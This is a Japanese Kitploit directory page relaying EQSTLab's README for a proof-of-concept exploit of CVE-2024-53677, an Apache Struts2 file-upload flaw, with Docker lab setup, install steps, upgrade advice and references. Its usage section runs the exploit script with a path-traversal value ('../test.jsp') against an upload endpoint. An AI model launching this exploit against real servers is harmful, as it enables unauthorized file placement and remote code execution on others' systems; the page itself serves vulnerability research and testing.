Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-53677 — Apache Struts2 エクスプロイトにおけるファイルアップロードロジックの欠陥 | Kitploit
ツール/GitHubGitHub/eqstlab/cve-2024-53677
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト
GitHubeqstlab/cve-2024-53677

CVE-2024-53677

Apache Struts2 エクスプロイトにおけるファイルアップロードロジックの欠陥

リポジトリを見る
1721年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

この投稿は EQSTLab が公開した調査記事です。

CVE-2024-53677

★ CVE-2024-53677 危険なタイプのファイルの無制限アップロードと RCE PoC ★

ラボのセットアップ

root@kitploit:~
cd docker
docker build --ulimit nofile=122880:122880 -m 3G -t cve-2024-53677 .
docker run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name cve-2024-53677 cve-2024-53677

タイムライン

12月11日 : CVE-2024-53677 ファイルアップロード PoC をアップロードしました

説明

CVE-2024-53677 : Apache Struts のファイルアップロードロジックには欠陥があります。攻撃者はファイルアップロードパラメータを操作してパストラバーサルを可能にし、状況によっては悪意のあるファイルをアップロードしてリモートコード実行(RCE)を実行するために使用される可能性があります。この問題は Apache Struts の 2.0.0 から 6.4.0 未満に影響します。ユーザーは少なくともバージョン 6.4.0 にアップグレードし、新しいファイルアップロードメカニズム https://struts.apache.org/core-developers/file-upload に移行することをお勧めします。古い FileuploadInterceptor ベースのファイルアップロードロジックを使用していない場合、アプリケーションは安全です。詳細は https://cwiki.apache.org/confluence/display/WW/S2-067 で確認できます。

使用方法

Git クローン

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-53677.git
cd CVE-2024-53677

パッケージのインストール

root@kitploit:~
pip install -r requirements.txt

コマンド

root@kitploit:~
# Upload the default file
python CVE-2024-53677.py -u <URL> -p <top.UploadFileName>
# Upload Specified File
python CVE-2024-53677.py -u <URL> -p <top.UploadFileName> -f <File Path>

例

root@kitploit:~
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../test.jsp
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../test.jsp -f ./test.txt

出力

CVE-2024-53677.py

結果

免責事項

このリポジトリは、CVE-2024-53677 に対するオブジェクトインジェクションエクスプロイトを意図したものではありません。このプロジェクトの目的は、人々がこの脆弱性について学び、おそらく自身のアプリケーションをテストするのを支援することです。

EQST Insight

私たちは月に一度、CVE とマルウェア分析を公開しています。興味があれば、以下のリンクから出版物を確認してください。 https://www.skshieldus.com/eng/business/insight.do

参考

https://nvd.nist.gov/vuln/detail/CVE-2024-53677

https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87-CVE-2024-53677-S2-067/

https://attackerkb.com/topics/YfjepZ70DS/cve-2024-53677

https://github.com/Trackflaw/CVE-2023-50164-ApacheStruts2-Docker

ツールをダウンロード